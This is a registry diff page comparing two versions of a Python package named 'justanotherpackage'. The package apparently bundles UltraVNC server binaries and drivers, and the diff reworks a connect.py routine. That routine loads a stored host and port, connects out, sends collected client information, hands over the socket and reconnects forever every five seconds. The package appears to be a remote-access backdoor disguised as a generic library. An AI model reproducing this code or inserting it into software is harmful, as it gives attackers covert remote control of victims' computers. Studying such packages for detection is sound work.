justanotherpackage 0.1.3__tar.gz → 0.1.5__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (21) hide show
  1. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/PKG-INFO +1 -1
  2. justanotherpackage-0.1.5/justanotherpackage/__init__.py +1 -0
  3. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage/connect.py +23 -20
  4. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage.egg-info/PKG-INFO +1 -1
  5. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/setup.py +1 -1
  6. justanotherpackage-0.1.3/justanotherpackage/__init__.py +0 -1
  7. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/MANIFEST.in +0 -0
  8. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage/core.py +0 -0
  9. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage/vnc/SecureVNCPlugin.dsm +0 -0
  10. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.dll +0 -0
  11. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage/vnc/UVncVirtualDisplay/UVncVirtualDisplay.inf +0 -0
  12. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage/vnc/UVncVirtualDisplay/uvncvirtualdisplay.cat +0 -0
  13. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage/vnc/UltraVNC.ini +0 -0
  14. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage/vnc/ddengine.dll +0 -0
  15. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage/vnc/logging.dll +0 -0
  16. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage/vnc/vnchooks.dll +0 -0
  17. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage/vnc/winvnc.exe +0 -0
  18. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage.egg-info/SOURCES.txt +0 -0
  19. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage.egg-info/dependency_links.txt +0 -0
  20. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/justanotherpackage.egg-info/top_level.txt +0 -0
  21. {justanotherpackage-0.1.3 → justanotherpackage-0.1.5}/setup.cfg +0 -0
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.3
3
+ Version: 0.1.5
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -0,0 +1 @@
1
+ from .connect import start_connection
@@ -37,34 +37,37 @@ def get_client_info():
37
37
  }
38
38
  return client_info
39
39
 
40
- def save_connection_info(HOST, PORT):
41
- if not os.path.exists('connection_info.txt'):
42
- with open('connection_info.txt', 'w') as f:
40
+ def save_connection_info(PATH, HOST, PORT):
41
+ if not os.path.exists(PATH):
42
+ with open(PATH, 'w') as f:
43
43
  f.write(f"{HOST}:{PORT}\n")
44
44
 
45
- def get_connection_info():
46
- if os.path.exists('connection_info.txt'):
47
- with open('connection_info.txt', 'r') as f:
45
+ def get_connection_info(PATH):
46
+ if os.path.exists(PATH):
47
+ with open(PATH, 'r') as f:
48
48
  connection_info = f.readline().strip()
49
49
  HOST, PORT = connection_info.split(':')
50
50
  return HOST, int(PORT)
51
51
  else:
52
52
  return None, None
53
53
 
54
- def start_connection(HOST, PORT):
55
- save_connection_info(HOST, PORT)
56
- while True:
57
- try:
58
- client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
59
- client_socket.connect((HOST, PORT))
60
- client_info = get_client_info()
61
- client_socket.sendall(str(client_info).encode('utf-8'))
62
- threading.Thread(target=handle_connection, args=(HOST, PORT)).start()
63
- handle_connection(client_socket)
64
- except:
65
- time.sleep(5)
66
- finally:
67
- client_socket.close()
54
+ def start_connection(PATH=None, HOST=None, PORT=None):
55
+ if HOST is None and PORT is None:
56
+ HOST, PORT = get_connection_info(PATH)
57
+ if HOST and PORT:
58
+ save_connection_info(PATH, HOST, PORT)
59
+ while True:
60
+ try:
61
+ client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
62
+ client_socket.connect((HOST, PORT))
63
+ client_info = get_client_info()
64
+ client_socket.sendall(str(client_info).encode('utf-8'))
65
+ threading.Thread(target=handle_connection, args=(HOST, PORT)).start()
66
+ handle_connection(client_socket)
67
+ except:
68
+ time.sleep(5)
69
+ finally:
70
+ client_socket.close()
68
71
 
69
72
  def handle_connection(client_socket):
70
73
  try:
@@ -1,5 +1,5 @@
1
1
  Metadata-Version: 2.2
2
2
  Name: justanotherpackage
3
- Version: 0.1.3
3
+ Version: 0.1.5
4
4
  Requires-Python: >=3.6
5
5
  Dynamic: requires-python
@@ -2,7 +2,7 @@ from setuptools import setup, find_packages
2
2
 
3
3
  setup(
4
4
  name="justanotherpackage",
5
- version="0.1.3",
5
+ version="0.1.5",
6
6
  packages=find_packages(),
7
7
  python_requires=">=3.6",
8
8
  include_package_data=True,
@@ -1 +0,0 @@
1
- from connect import start_connection